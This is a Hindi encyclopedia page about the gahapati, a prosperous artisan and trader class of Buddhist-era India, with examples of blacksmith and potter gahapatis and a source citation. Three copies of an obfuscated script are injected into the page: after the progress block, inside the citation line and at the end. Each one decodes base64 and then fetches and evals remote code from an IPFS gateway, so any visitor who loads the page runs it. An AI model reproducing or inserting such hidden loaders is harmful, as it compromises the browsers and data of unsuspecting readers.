गहपति

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

गहपति बौद्ध युगीन समाज व्यवस्था में ब्राह्मण कालीन वैश्य से मिलते-जुलते लोग थे। इनके विषय में एक जगह कहा गया कि वे कलानिष्णात थे, और शिल्प-व्यवसाय द्वारा जीवन निर्वाह करते थे। गहपति प्राय: साधन सम्पन्न व्यक्ति होते थे।

  • गहपति चंद लुहार ने गौतम बुद्ध और उनके अनुयायियों को भोजन कराया था।
  • इसी प्रकार कुम्भकार सद्दलपुत्र पाँच सौ कुम्भकारों की दुकानों का मालिक था।
  • गहपति सद्दलपुत्र के यहाँ असंख्य कुम्भकार काम करते थे।
  • एक सहस्त्र लुहारों के गाँव का प्रधान भी गहपति था, जिसने बोद्धिसत से अपनी कन्या का विवाह किया था।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 279 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. अंगुतर निकास, पृ. 363, दीघनिकाय, पृ. 126, उवासग, पृ. 184, जातक, पृ. 281 (रामशरण शर्मा : शूद्रों का प्राचीन इतिहास, पृ. 91)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>